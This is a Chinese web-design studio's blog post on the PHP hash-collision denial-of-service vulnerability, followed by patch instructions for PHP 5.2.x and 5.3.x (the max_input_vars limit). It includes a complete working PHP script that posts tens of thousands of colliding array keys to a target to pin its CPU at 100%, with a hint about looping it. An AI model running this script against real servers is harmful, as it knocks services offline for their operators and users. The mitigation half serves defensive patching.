美浩工作室是一个以90后团队为主的网站设计,制作,优化,维护为一体的网站建设工作室,为您量身定制适合企业自身的网站,欢迎咨询:15249241469

php漏洞hash dos攻击实例及解决方法

PHP+MYSQL mihoweb 2409℃ 0评论

无意间在网上发现了一个php的漏洞的,看起来还真是的。。都学习下

Img335151532

<?php $host = ‘xxx.com/test.php’; $data = ”; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= ‘&array[' . $key . ']=0′; } $ret = curl($host, ltrim($data,’&’)); var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout – 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘Expect:’)); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output; } ?> 执行这个php程序会使服务器cpu直接占用100%,如果循环,你懂的。

下面是修补的方法: php-5.2.x: 到这里github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars下载对应的补丁版本,进入php目录,执行patch -p1 < php-5.2.*-max-input-vars.patch打上补丁,之后make 和make install即可。

php-5.3.x: php-5.3.x没有提供相应的补丁版本,laruence建议使用php5.3.x的升级到5.3.9RC4或者按照php5.2.x的补丁修改适应成php5.3.x的补丁。下面我们提供直接修改文件的方法,虽然比较麻烦。

1、修改/main/main.c文件,把STD_PHP_INI_ENTRY宏加到main.c的PHP_INI_BEGIN()和PHP_INI_END()宏之间来注册PHP INI指令: STD_PHP_INI_ENTRY(” max_input_vars”, “1000″, PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateLongGEZero, max_input_vars, php_core_globals, core_globals)

2、修改文件/main/php_globals.h,_php_core_globals结构体内加上: long max_input_vars;

3、修改文件/main/php_variables.c,在: zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); 之前加入: if (zend_hash_num_elements(symtable1) >= PG(max_input_vars)) { php_error_docref(NULL TSRMLS_CC, E_ERROR, “Input variables exceeded %ld. To increase the limit change max_input_vars in php.ini.”, PG(max_input_vars)); } 一共有两处,第一处数组中的键时的操作,而第二处是普通变量时的操作。

如果您喜欢这篇文章,欢迎分享订阅。

转载请注明:美浩工作室官方博客 » php漏洞hash dos攻击实例及解决方法

喜欢 (2)